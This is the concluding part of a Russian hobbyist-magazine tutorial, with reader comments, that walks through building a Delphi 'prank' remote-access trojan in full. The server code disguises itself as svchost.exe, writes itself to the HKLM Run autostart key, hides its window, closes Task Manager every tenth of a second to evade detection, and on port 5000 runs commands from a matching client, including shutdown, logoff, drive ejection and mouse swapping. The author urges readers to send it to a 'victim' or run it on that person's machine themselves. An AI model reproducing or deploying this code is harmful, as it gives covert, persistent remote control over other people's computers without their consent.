(Окончание. Начало в №36'2008)
И снова я приветствую вас, дорогие читатели. Сегодня мы подведём как бы черту над нашими прикольными знаниями и, как я и обещал, сделаем кое-что интересное (смотря с какой стороны смотреть), а именно - будем управлять приколами на компьютере жертвы удалённо. Это можно назвать вирусом-трояном, но мы хорошие люди и ничего общего со злыми хакерами не имеем. Приступим...
Теория
Наша задача сделать две программы - клиент и сервер. Сервер забрасывается жертве и выполняет запрограммированные нами команды, например, открывает-закрывает дисковод и т.д. Т.е. задачи сервера:
- скрыть себя (долг любой прикольной программы);
- прописаться в автозагрузку;
- открыть порт, по которому клиент к нему присоединится;
- ждать соединения;
- если соединение прошло, то выполнять запрограммированные команды.
Клиент - программа, которая остаётся у нас, подключается к серверу, посылает ему команды.
Для сетевых операций нам понадобятся компоненты с вкладки "Internet": "ServerSocket" и "ClientSocket". В Delphi 7 и 6 они по умолчанию не ставятся, поэтому нам придётся вручную их устанавливать. Для этого идите в Component > Install Packages > Add > директория Delphi > bin > dclsocketsXX.bpl (где ХХ версия Delphi, если у вас Delphi 7 то ХХ это 70). После этого у вас должны появиться компоненты как на рис. 1.
![]() |
| Рис. 1 |
Сервер
Запустите Delphi и дважды кликните по форме и заносите код:
procedure TForm1.FormCreate(Sender: TObject);
var regini:treginifile;
begin
regini:=treginifile.create('Software');
regini.rootkey:=hkey_local_machine;
regini.openkey('Software',true);
regini.openkey('Microsoft',true);
regini.openkey('Windows',true);
regini.openkey('CurrentVersion',true);
regini.writestring('Run','svchost.exe',Application.exename);
regini.free;
serversocket1.Active:=true;
end;
Этот код должен быть вам знаком, но для вновь прибывших поясню: объявляю переменную "regini" типа для работы с реестром. Затем её инициализирую и стартую с раздела "Software" в реестре, дальше так и иду по реестру в направлении "hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\Run", последний раздел отвечает за автозагрузку, т.е. мы в автозагрузку занесли нашу программу с именем "svchost.exe" (если будете изменять имя, то измените имя и здесь) и в последней строчке кода делаю сокет активным (мы его потом бросим на форму). После этого в раздел "Uses" вносим "Registry", в этом модуле описаны функции для работы с реестром. Дальше щёлкаем по форме, заходим в объектном инспекторе на вкладку "Events" и создаём обработчик события "OnActivate", в который занесём код для скрытия нашей программы:
procedure TForm1.FormActivate(Sender: TObject); begin ShowWindow(Handle, SW_HIDE); ShowWindow(Application.Handle, SW_HIDE); end;
Также можно закрывать "Диспетчер задач Windows" при каждом его возникновении, чтобы жертва в списке процессов не увидела нашу программу. Правда, если жертва откроет диспетчер для своих целей и диспетчер сразу закроется, то будет понятно - что-то здесь не чисто, и надо найти виноватую в этом происшествии программу, но не факт, что найти её будет легко;). Для осуществления этой задумки бросаем на форму компонент "Timer" с вкладки "System"и в свойстве "Interval" устанавливаем значение, равное 100 (десятая секунды). Два раза кликаем по компоненту и вносим код закрытия диспетчера:
procedure TForm1.Timer1Timer(Sender: TObject); var a:HWND; begin a:=FindWindow(nil, 'Диспетчер задач Windows'); if a<> 0 then SendMessage(a, WM_DESTROY,0,0); end;
Теперь во время выполнения нашей программы каждую десятую долю секунды будет производиться поиск окна, и если его заголовок "Диспетчер задач Windows", то это окно закрывается. Вот такая безопасность. Далее начинается самая творческая часть - внесение функций для издевательств. Бросьте на форму компонент "ServerSocket1" с закладки "Internet". Зайдите в объектный инспектор при выделенном "ServerSocket1" и в свойстве "Port" измените значение на 5000 (это будет порт, к которому наш клиент будет присоединяться к серверу). Дальше зайдите на вкладку "Events", найдите событие "OnClientRead" и создайте обработчик для него (в нём наш сервер будет принимать команды от клиента и выполнять их) и впишите туда код:
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
Var scr:HDC; {будем использовать для работы с экраном}
Panel, Knopka:hwnd; {эти переменные для изменения пуска}
h:hwnd; {переменная для работы с окнами}
i:string;{создаю переменную строкового типа
для сохранения команд от клиента}
begin
i:=Socket.ReceiveText;
if i='1' then mciSendString('Set cdaudio door open wait',
nil, 0, handle);
if i='2' then mciSendString('Set cdaudio door closed wait',
nil, 0, handle);
if i='3' then begin
panel:=FindWindow('shell_traywnd', nil);
knopka:= FindWindowEx (panel, 0, 'button', nil);
SetWindowText(knopka,'глюк');
ShowWindow(knopka, SW_HIDE);
ShowWindow(knopka, SW_show);
End;
if i='4' then begin
scr:=GetDC(0);
rectangle(scr, 0, 0, 1300, 1300);
end;
if i='5' then SwapMouseButton(true);
if i='6' then SwapMouseButton(false);
if i='7' then ExitWindowsEx(EWX_LOGOFF,0);
if i='8' then ExitWindowsEx (EWX_POWEROFF,0 );
if i='9' then begin
h:=getforegroundwindow();
showWindow (h, sw_hide);
end;
if i[1]='w' then messagebox (0,PChar(Copy(i,2,length(i))),
'Windows',0);
{это 10 команд - остальное твоя фантазия,
чувство юмора и возможности}
end;
Теперь объяснения: сначала присваиваю переменной "i" текст, посланный от клиента, и смотрю, что это за текст. Если текст 1, то открыть DVD-привод (if i='1' then mciSendString('Set cdaudio door open wait', nil, 0, handle); ); если 2, то закрыть, и т.д (для работы этих двух команд в раздел "Uses" надо внести "MMSystem;"); 3 - поменять надпись на кнопке "Пуск" с "Пуск" на "Глюк"; 4 - зарисовываю белым прямоугольником весь экран (чтобы снова восстановить, нужно его (экран) обновить); 5 - поменять кнопки мышки местами; 6 - вернуть кнопки обратно; 7 - переводим компьютер в режим выбора профиля; 8 - выключаем его; 9 - находим любое активное окно и прячем его. И с помощью последней команды выводим сообщение (на ваш выбор) от Windows. Если захочешь, то добавишь свои команды. Напоследок сохраните ваш сервер, а потом скомпилируйте (Ctrl+F9). Зайдите в папку, где сохранили сервер, и измените имя у программы на "svchost", это у меня, если у вас другое имя, то подставьте его в код автозагрузки.
Ну вот, вроде, с серваком разобрались, остался клиент.
Клиент
Создаём новое приложение. На форму кидаем компонент "ClientSocket1" с закладки "Internet" и в свойстве "Port" ставим значение 5000 (как у сервера). Далее заходим на вкладку "Events" и создаём обработчики события "OnConnect", "OnConnecting", "OnDisconnect" и "OnError", в которые вносим код:
procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
StatusBar1.SimpleText:='Всё в норме';
{событие когда мы подключились и всё прошло нормально}
end;
procedure TForm1.ClientSocket1Connecting(Sender: TObject;
Socket: TCustomWinSocket);
begin
StatusBar1.SimpleText:='Подключаюсь...';
{событие когда мы начинаем подключение}
end;
procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
StatusBar1.SimpleText:='Отключился';
{событие когда мы отключились}
end;
procedure TForm1.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
StatusBar1.SimpleText:='Где-то ошибочка';
{событие когда где-то возникла ошибка}
end;
Затем на форму помещаем компонент "StatusBar" с вкладки "Win32". Этот компонент выводит сообщения внизу окна программы. Далее размещаем на форме 2 "Label" и 12 "Button", желательно как у меня на форме (рис. 2).
![]() |
| Рис. 2 |
Теперь два раза понажимайте по каждой кнопке - и Delphi создаст обработчики события для каждой из них, в которые вы должны занести ещё код, объяснения в комментариях - комментарии в фигурных скобках, и их (комментарии) писать не надо:
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Host:=Edit1.Text; {заносится ip адрес}
ClientSocket1.Active:=true; {активизируется клиент}
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
ClientSocket1.Close; {закрываем соединение клиента}
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText('w'+edit2.text);
{отправляю текст серверу (W + текст)}
StatusBar1.SimpleText:='Команда "вывода сообщения" отправлена';
{вывожу сообщение об отправке команды}
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText(inttostr(1));
{отправляю 1 серверу, как текст}
StatusBar1.SimpleText:='Команда "открытия дисковода" отправлена';
{вывожу сообщение об отправке команды}
end;
procedure TForm1.Button5Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText(inttostr(2));
{отправляю 2 серверу, как текст}
StatusBar1.SimpleText:='Команда "закрытия дисковода" отправлена';
{вывожу сообщение об отправке команды}
end;
procedure TForm1.Button6Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText(inttostr(3));
{отправляю 3 серверу, как текст}
StatusBar1.SimpleText:='Команда "изменения надписи на кнопке
"пуск" отправлена';
{вывожу сообщение об отправке команды}
end;
procedure TForm1.Button7Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText(inttostr(4));
{отправляю 4 серверу, как текст}
StatusBar1.SimpleText:='Команда "зарисовки экрана" отправлена';
{вывожу сообщение об отправке команды}
end;
procedure TForm1.Button8Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText(inttostr(5));
{отправляю 5 серверу, как текст}
StatusBar1.SimpleText:='Команда "изменения кнопок
мыши" отправлена';
{вывожу сообщение об отправке команды}
end;
procedure TForm1.Button9Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText(inttostr(6));
{отправляю 6 серверу, как текст}
StatusBar1.SimpleText:='Команда "изменения кнопок
мыши обратно" отправлена';
{вывожу сообщение об отправке команды}
end;
procedure TForm1.Button10Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText(inttostr(7));
{отправляю 7 серверу, как текст}
StatusBar1.SimpleText:='Команда "перевода компьютера
в "режим выбора юзера" отправлена';
{вывожу сообщение об отправке команды}
end;
procedure TForm1.Button11Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText(inttostr(8));
{отправляю 8 серверу, как текст}
StatusBar1.SimpleText:='Команда "выключения компьютера" отправлена';
{вывожу сообщение об отправке команды}
end;
procedure TForm1.Button12Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText(inttostr(9));
{отправляю 9 серверу, как текст}
StatusBar1.SimpleText:='Команда "поиска и прятанья
любого окна" отправлена'; {вывожу сообщение об отправке команды}
end;
Весь код отправки команд, в общем, одинаков: первая строка - отправляем сообщение с текстом, во второй вывожу подсказку, какую команду мы только что использовали. И ещё один нюанс - вторая строка (ClientSocket1.Host:= Edit1.Text; ), "Host" - обозначает, что ip-адрес, по которому мы будем подключаться, находится в локальной сети, если захотите управлять через Интернет, то вместо "Host" используйте "Address"(ClientSocket1. Address:=Edit1.Text; ). Всё, в общем, готово, но как-то некрасиво и не понятно, поэтому сейчас изменим надпись на кнопках и текст в полях ввода. За надпись на кнопках отвечает свойство "Caption", а за текст в полях ввода - свойство "Text". Исправьте форму, как у меня (рис. 3).
![]() |
| Рис. 3 |
Вот теперь всё красиво и должно работать, сохраните клиент и скомпилируйте его. Когда будете тестировать, введите в первое поле ввода IP-адрес и нажмите "Подключиться", если вы будете тестировать у себя на компьютере, то адрес будет у вас 127.0.0.1 (стандартный), и играйтесь с командами (главное - всё протестировать). Когда всё будет готово, кидайте жертве, и если она запустит программу - наслаждайтесь. А если не запустит, то запустите сами ;).
Итог
Сегодня мы рассмотрели связку клиент-сервер и сделали наши приколы удалёнными. Я употребил и старые, знакомые вам функции, и новые. Надеюсь, эти знания принесут вам пользу или, хотя бы, отличное настроение!
Резидент Николай,
[email protected]









Комментарии
А может теперь стоило бы рассказать про программирование на J2ME (ну, для мобильных телефонов)?..
У меня не получилось! Во время соединения выдает ошибку сокета 10060!
На своем же компе работает, а вот уже в Интернете (address) не получается (с другом пробовали).
:-(
А вобще стоит обратить внимание на другие мобильные платформы iPod, Android
Или нужно самому подойти и запустить на жертве сервер? Как то тупо получается
Ответ пришлите на [email protected]